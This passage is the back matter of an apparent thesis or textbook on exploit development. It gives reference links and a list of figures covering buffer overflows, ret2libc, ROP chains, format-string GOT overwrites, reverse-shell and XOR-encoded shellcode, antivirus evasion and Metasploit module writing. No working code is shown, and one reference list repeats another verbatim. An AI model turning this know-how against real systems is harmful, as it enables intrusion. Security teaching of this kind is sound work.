406645157655&psc=1&th=1&psc=1&tag=&ref=&adgrpid=6128488
5533&hvpone=&hvptwo=&hvadid=309009267279&hvpos=1o3&hv
netw=g&hvrand=1921577508059803053&hvqmt=&hvdev=c&hvdv
cmdl=&hvlocint=&hvlocphy=9043787&hvtargid=pla-
40664515765

� Raspbian Lite: https://downloads.raspberrypi.org/raspbian lite latest

� ARM-Peda: https://github.com/alset0326/peda-arm

Format-String

� Format String attack:
https://en.wikipedia.org/wiki/Uncontrolled format string

� Manpage of execve from unistd.h: https://linux.die.net/man/2/execve

� Manpageof printf: https://linux.die.net/man/3/printf

� Command to convert binary to shellcode:
https://www.commandlinefu.com/commands/view/6051/get-all- shellcode-
on-binary-file-from-objdump

� GDB Peda plugin: https://github.com/longld/peda

Integer Overflow/Underflow

� Format String attack:
https://en.wikipedia.org/wiki/Uncontrolled format string

� Manpage of execve from unistd.h: https://linux.die.net/man/2/execve

� Manpageof printf: https://linux.die.net/man/3/printf

� Command to convert binary to shellcode:
https://www.commandlinefu.com/commands/view/6051/get-all- shellcode-
on-binary-file-from-objdump

� GDB Peda plugin: https://github.com/longld/peda

239



Metasploit-Development

� p4-server.c: https://samsclass.info/127/proj/p4-server.c

� Metasploit: https://github.com/rapid7/metasploit-framework

� Documentation for writing an exploit for Metasploit:
https://github.com/rapid7/metasploit-framework/wiki/How-to-
get-started-with-writing-an-exploit

� Documentation for the rankings in Metasploit:
https://github.com/rapid7/metasploit-framework/wiki/Exploit-
Ranking

� Documentation for the Module-Options:
https://github.com/rapid7/metasploit-framework/wiki/How-to-
use-datastore-options

� Documentation for the mixin Msf::Exploit::Remote::Tcp:
https://github.com/rapid7/metasploit-framework/wiki/How-to-
use-the-Msf-Exploit-Remote-Tcp-mixin

� Documentation for the Metasploit-Module-Licenses:
https://www.rubydoc.info/github/rapid7/metasploit-framework/to
plevel#MSF LICENSE-constant

� Documentation for the references of a Metasploit-Module:
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-
module-reference-identifiers

� Documentation of the architecture types for a Metasploit-Module:
https://www.rubydoc.info/github/rapid7/metasploit-framework/to
plevel#ARCH X86-constant

� Documentation for the CheckCodes on an Exploit-Module:
https://www.rubydoc.info/github/rapid7/metasploit-framework/M
sf/Exploit/CheckCode

� GDB Peda plugin: https://github.com/longld/peda



List of Figures

1.1 Test transmission of 1024 bytes to the vulnerable server . . . . 10
1.2 Send 1034 bytes(on the top). Segmentation fault by the Server(at

the bottom) . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
1.3 Partial overwritten instruction pointer . . . . . . . . . . . . . 11
1.4 Instruction pointer overwritten with 0x42424242 . . . . . . . . 12
1.5 First step of the shellcode . . . . . . . . . . . . . . . . . . . . 13
1.6 Building the command for execve on the stack . . . . . . . . . 14
1.7 Encode /bin/nc as little-endian hex string . . . . . . . . . . . 15
1.8 Partition of a general-purpose register . . . . . . . . . . . . . . 19
1.9 Testing shellcode for functionality . . . . . . . . . . . . . . . . 21
1.10 Disassemble the compiled shellcode with objdump . . . . . . . 22
1.11 Extracted shellcode with the special command . . . . . . . . . 23
1.12 Template to test the shellcode through a function call . . . . . 24
1.13 Shellcode inserted into the c code as string . . . . . . . . . . . 24
1.14 Testcode (left side) Reverse-TCP-Shell (right side) . . . . . . . 25
1.15 Set the breakpointer after strcpy function call . . . . . . . . . 26
1.16 Start of the buffer . . . . . . . . . . . . . . . . . . . . . . . . . 27
1.17 The exploit fails wit an segmentation fault . . . . . . . . . . . 27
1.18 Splitted nopsled in to parts around the shellcode . . . . . . . . 28
1.19 Fixed exploit spawns a shell . . . . . . . . . . . . . . . . . . . 29
1.20 Procedure of the exploit . . . . . . . . . . . . . . . . . . . . . 29

2.1 Testing for buffer overflow . . . . . . . . . . . . . . . . . . . . 34
2.2 Segmentation fault on 70 bytes . . . . . . . . . . . . . . . . . 35
2.3 The instruction pointer is overwritten by four B’s . . . . . . . 35
2.4 Pushed parameters on the stack in reversed order . . . . . . . 37
2.5 Ldd give us the base addresses of some libraries . . . . . . . . 38
2.6 Breakpoint set at ”main” . . . . . . . . . . . . . . . . . . . . . 39
2.7 Print the system address and validation with the disassembly

of this function . . . . . . . . . . . . . . . . . . . . . . . . . . 39
2.8 Print the exit address and validation with the disassembly of

this function . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40

241



2.9 Print the address of the string /bin/sh . . . . . . . . . . . . . 40
2.10 Base of the exploit to crash the application . . . . . . . . . . . 41
2.11 Layout of the exploit on the stack . . . . . . . . . . . . . . . . 42
2.12 Insertion of the system address in the right place . . . . . . . 42
2.13 Insertion of the exit address in the right place . . . . . . . . . 43
2.14 Insertion of the address ”/bin/sh” . . . . . . . . . . . . . . . . 43
2.15 The instruction pointer is pointing to the address of the system

function . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44
2.16 Exploit works in the environment of GDB . . . . . . . . . . . 45
2.17 Exploit works outside of gdb . . . . . . . . . . . . . . . . . . . 45

3.1 ROP-Chain simplified illustation . . . . . . . . . . . . . . . . 48
3.2 Example search of gadgets in the libc with ”Ropper” . . . . . 49
3.3 Testing for buffer overflow . . . . . . . . . . . . . . . . . . . . 51
3.4 Determine the base address of libc in this program . . . . . . 52
3.5 Found the first gadget which clears the register EAX . . . . . 54
3.6 Template with the base address of ”libc” and with the first

gadget . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54
3.7 The second gadget found which changes the register EAX to 11 55
3.8 The third gadget found which pops the pushed value to EBX . 55
3.9 No gadgets found for this purpose . . . . . . . . . . . . . . . . 56
3.10 The results of searching for gadgets that clear the register ECX 56
3.11 Same results like before . . . . . . . . . . . . . . . . . . . . . . 57
3.12 Useful gadget found that can clear both registers . . . . . . . 58
3.13 Syscall-gadget found . . . . . . . . . . . . . . . . . . . . . . . 58
3.14 Address of /bin/sh determined with ”Ropper” . . . . . . . . . 59
3.15 Alle important components embedded . . . . . . . . . . . . . 60
3.16 Exact blueprint of the final rop-exploit . . . . . . . . . . . . . 61
3.17 Building of a ”ZigZag” pattern on calling the next gadget . . . 63
3.18 Exploit failed because of string termination . . . . . . . . . . . 64
3.19 Search for null’s with GDB in the vulnerable program . . . . . 65
3.20 Null is replaced by a address which points to null . . . . . . . 65
3.21 The gadget which add 11 to EAX is not working . . . . . . . . 66
3.22 Search for an alternative with ”Ropper” . . . . . . . . . . . . 67
3.23 Fixed the broken gadget and add another null to the chain . . 67
3.24 Exploit works in GDB . . . . . . . . . . . . . . . . . . . . . . 68
3.25 Exploit also works outside of GDB . . . . . . . . . . . . . . . 68

4.1 Memory on Off-by-One . . . . . . . . . . . . . . . . . . . . . . 71
4.2 First testings for buffer overflows . . . . . . . . . . . . . . . . 73
4.3 Segmentation fault on 1024 bytes . . . . . . . . . . . . . . . . 74

242



4.4 Segmentation fault in GDB, EIP = 0x41414141 . . . . . . . . 74
4.5 Corrupted EBP value . . . . . . . . . . . . . . . . . . . . . . . 76
4.6 EBP points into the buffer instead to the old location . . . . . 76
4.7 Dump of the stack where EBP is pointing to . . . . . . . . . . 77
4.8 Dump of the stack where the buffer begins . . . . . . . . . . . 77
4.9 Verify the offset (cutted) . . . . . . . . . . . . . . . . . . . . . 79
4.10 The scheme of the exploit . . . . . . . . . . . . . . . . . . . . 80
4.11 Implemented exploit based of the scheme . . . . . . . . . . . . 80
4.12 Found a potentialy good return address . . . . . . . . . . . . . 81
4.13 Implemented return address in our exploit . . . . . . . . . . . 82
4.14 The exploit has failed . . . . . . . . . . . . . . . . . . . . . . . 82
4.15 New arranged shellcode placement . . . . . . . . . . . . . . . . 83
4.16 The exploit works and we got a shell . . . . . . . . . . . . . . 83
4.17 Segmentation fault on running the exploit without GDB . . . 84
4.18 Segmentation fault on running the exploit without GDB (2) . 84
4.19 Fix the exploit . . . . . . . . . . . . . . . . . . . . . . . . . . 86
4.20 Exploit works now outside of GDB . . . . . . . . . . . . . . . 86

5.1 Anatomy of syscalls . . . . . . . . . . . . . . . . . . . . . . . . 90
5.2 Shellcode dump with objdump . . . . . . . . . . . . . . . . . . 92
5.3 Manually extraction of the shellcode . . . . . . . . . . . . . . 93
5.4 Extracted shellcode with chained commands . . . . . . . . . . 94
5.5 Running a shellcode in a Shellcode-Wrapper . . . . . . . . . . 98
5.6 A basic /bin/sh shellcode . . . . . . . . . . . . . . . . . . . . 99
5.7 Same functionallity given to set register EAX to 0 . . . . . . . 101
5.8 Polymorphic shellcode spawns a shell . . . . . . . . . . . . . . 102
5.9 The original code gots detected by 4/58 AVs . . . . . . . . . . 103
5.10 The detection rate of the polymorphic code is 0 . . . . . . . . 104
5.11 The embedded shellcode spawns a shell . . . . . . . . . . . . . 106
5.12 The shellcode is embedded as a list . . . . . . . . . . . . . . . 107
5.13 Encoder method is implemented . . . . . . . . . . . . . . . . . 107
5.14 Implemented decoder and test methods to check the shellcode

for functionality . . . . . . . . . . . . . . . . . . . . . . . . . . 108
5.15 Printings will show the results of the encoding . . . . . . . . . 109
5.16 Printings will show the results of the encoding . . . . . . . . . 111
5.17 Decoder logic is written but no encoded shellcode embedded . 112
5.18 Encoded shellcode is embedded . . . . . . . . . . . . . . . . . 113
5.19 Extracted shellcode with nullbytes . . . . . . . . . . . . . . . . 113
5.20 Encoded shellcode is embedded . . . . . . . . . . . . . . . . . 114
5.21 Embedded shellcode in the Shellcode-Wrapper . . . . . . . . . 118
5.22 The XOR 0x32 encoded shellcode spawns a shell . . . . . . . . 118

243



5.23 Modified encoder for encoding and key generation . . . . . . . 119
5.24 Modified decoder for decoding . . . . . . . . . . . . . . . . . . 120
5.25 Printings changed for the new encoding . . . . . . . . . . . . . 120
5.26 The program flow of the decoder . . . . . . . . . . . . . . . . 122
5.27 Working shellcode give us a shell . . . . . . . . . . . . . . . . 126
5.28 Overview of the x64-registers . . . . . . . . . . . . . . . . . . 127
5.29 Move-Push as a method for pushing //bin/nc onto the stack . 130
5.30 Move-Push’s applied for the strings . . . . . . . . . . . . . . . 131
5.31 Creating ”execve”-syscall . . . . . . . . . . . . . . . . . . . . . 132
5.32 The shellcode spawns a reverse TCP shell . . . . . . . . . . . 134
5.33 Extracted x64-Shellcode is embedded into the Shellcode-Wrapper136
5.34 We got a segmentation fault by running the Shellcode-Wrapper136
5.35 GDB shows, the register RDX gots overwritten by some in-

structions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137
5.36 Shellcode spawns a reverse shell . . . . . . . . . . . . . . . . . 138
5.37 Register overview of the ARM-Architecture . . . . . . . . . . . 140
5.38 Declaration of the string ”/bin/sh” with the keyword .ascii . . 142
5.39 Compiling and execution of the shellcode . . . . . . . . . . . . 144
5.40 Nullbytes are present in the shellcode . . . . . . . . . . . . . . 145
5.41 Objdump’s output shows the null byte is now removed . . . . 146
5.42 ARM registers avaiable on Thumb-Mode . . . . . . . . . . . . 147
5.43 Null free shellcode is shown by ”objdump” . . . . . . . . . . . 150
5.44 Null free shellcode is working properly and spawns a shell . . . 150
5.45 Shellcode extracted and converted into a hex string . . . . . . 152
5.46 The shellcode is placed into the Shellcode-Wrapper . . . . . . 152
5.47 The extracted shellcode works in the Shellcode-Wrapper . . . 153

6.1 Format-String on normal usage . . . . . . . . . . . . . . . . . 157
6.2 Format-String on vulnerable usage . . . . . . . . . . . . . . . 158
6.3 Testing for the format string vulnerablity . . . . . . . . . . . . 161
6.4 Reading the stack . . . . . . . . . . . . . . . . . . . . . . . . . 163
6.5 Closer look to the stack . . . . . . . . . . . . . . . . . . . . . 163
6.6 Determining the exact location of the patter ”AAAA” . . . . . 165
6.7 Verifying the exact location . . . . . . . . . . . . . . . . . . . 165
6.8 Reading the value of the desired address . . . . . . . . . . . . 168
6.9 Segmentation fault by writing . . . . . . . . . . . . . . . . . . 170
6.10 The program stopped at the breakpoint for getting the flag

address . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171
6.11 Objdump prints the symbol table . . . . . . . . . . . . . . . . 172
6.12 EAX points now to the variable flag . . . . . . . . . . . . . . . 173
6.13 Changing execution flow with format string exploitation . . . 173

244



6.14 Flag is overwritten by 0x41 . . . . . . . . . . . . . . . . . . . 175
6.15 Flag is overwritten by 0x4142 . . . . . . . . . . . . . . . . . . 175
6.16 Scheme to split a 32Bit value into two 16Bit shorts . . . . . . 176
6.17 Flag is overwritten by 0x41424344 with 2 writes . . . . . . . . 178
6.18 Flag is overwritten by 0x41424344 with 4 writes . . . . . . . . 179
6.19 A simple illustation of the GOT . . . . . . . . . . . . . . . . . 180
6.20 PLT/GOT flow by calling printf . . . . . . . . . . . . . . . . . 181
6.21 PLT/GOT flow by calling malloc . . . . . . . . . . . . . . . . 182
6.22 Determining the real address of ”prinf” . . . . . . . . . . . . . 183
6.23 Segmentation fault by overwriting the GOT-Entry with ”AAAA”184
6.24 Selecting new address for the GOT-Entry ”printf” . . . . . . . 185
6.25 The exploit works in GDB . . . . . . . . . . . . . . . . . . . . 186
6.26 The exploit works outside of GDB . . . . . . . . . . . . . . . . 186

7.1 Range of an signed integer . . . . . . . . . . . . . . . . . . . . 188
7.2 Range of an signed integer as circle . . . . . . . . . . . . . . . 189
7.3 We got more money by making huge withdraws . . . . . . . . 191
7.4 Chaning numbers causes segmentation faults . . . . . . . . . . 193
7.5 Execution of the exploit results in an overwritten EIP . . . . . 194
7.6 The exploit with the negative value overwrites the EIP also . . 196
7.7 Unset LINES and COLUMNS for get user environment iden-

tical stack addresses . . . . . . . . . . . . . . . . . . . . . . . 198
7.8 Segmentation fault because of the return address 0x42424242 . 199
7.9 Determining a return address after the segmentation fault . . 200
7.10 The exploit works in GDB . . . . . . . . . . . . . . . . . . . . 201
7.11 The exploit works outside of GDB . . . . . . . . . . . . . . . . 201

8.1 The metasploit CLI . . . . . . . . . . . . . . . . . . . . . . . . 204
8.2 Metasploit recognizes the new module . . . . . . . . . . . . . . 210
8.3 Default options automatically included in our module . . . . . 211
8.4 Deregister the option RHOSTS . . . . . . . . . . . . . . . . . 211
8.5 The option RHOSTS is now removed from the options. . . . . 212
8.6 The new registered Option ”RHOST” is shown in the Options

list. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215
8.7 Embedded exploit for the vulnerable application. . . . . . . . 216
8.8 The Target-List is implemented into the module . . . . . . . . 217
8.9 Definition of the platform for this module. . . . . . . . . . . . 219
8.10 Creating a connection with the instruction ”connect”. . . . . . 220
8.11 Metasploit creates a connection. . . . . . . . . . . . . . . . . . 221
8.12 Implementation of sending the raw exploit and disconnect af-

ter sending . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221

245



8.13 The module spaws a shell on the target host. . . . . . . . . . . 222
8.14 Dynamic payload embedding . . . . . . . . . . . . . . . . . . . 223
8.15 The dynamic ratio of the payload and the second Nop-Sled . . 224
8.16 The dump of the exploit contains many null bytes . . . . . . . 224
8.17 Hexdump shows, there no null bytes in the exploit dump. . . . 225
8.18 The exploit works now correctly and opens a Meterpreter session226
8.19 Replacing the return address with the return address of the

object ”target” . . . . . . . . . . . . . . . . . . . . . . . . . . 227
8.20 Exploit works and drops a reverse shell . . . . . . . . . . . . . 228
8.21 Added the author and the license to the module . . . . . . . . 229
8.22 The command ”show options” shows the information about

this module . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232
8.23 The module doesn’t support checks anymore. . . . . . . . . . . 233

246


